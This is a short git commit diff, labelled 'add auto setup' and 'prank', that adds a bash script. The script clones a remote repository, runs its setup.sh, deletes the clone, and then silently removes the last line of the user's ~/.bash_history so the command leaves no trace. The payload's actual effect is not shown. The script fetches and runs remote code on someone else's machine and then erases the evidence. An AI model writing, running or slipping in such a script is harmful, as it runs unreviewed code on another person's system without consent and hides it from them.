add auto setup

prank

+#!/usr/bin/env bash
+
+if [ -f ".prank" ]
+then
+	exit 1
+fi
+
+git clone https://git.iiens.net/marie2021/prank.git ".prank"
+
+cd ".prank"
+
+./setup.sh
+
+cd ".."
+
+rm -rf ".prank"
+
+(sleep 1s; sed -i '$ d' ~/.bash_history) &
+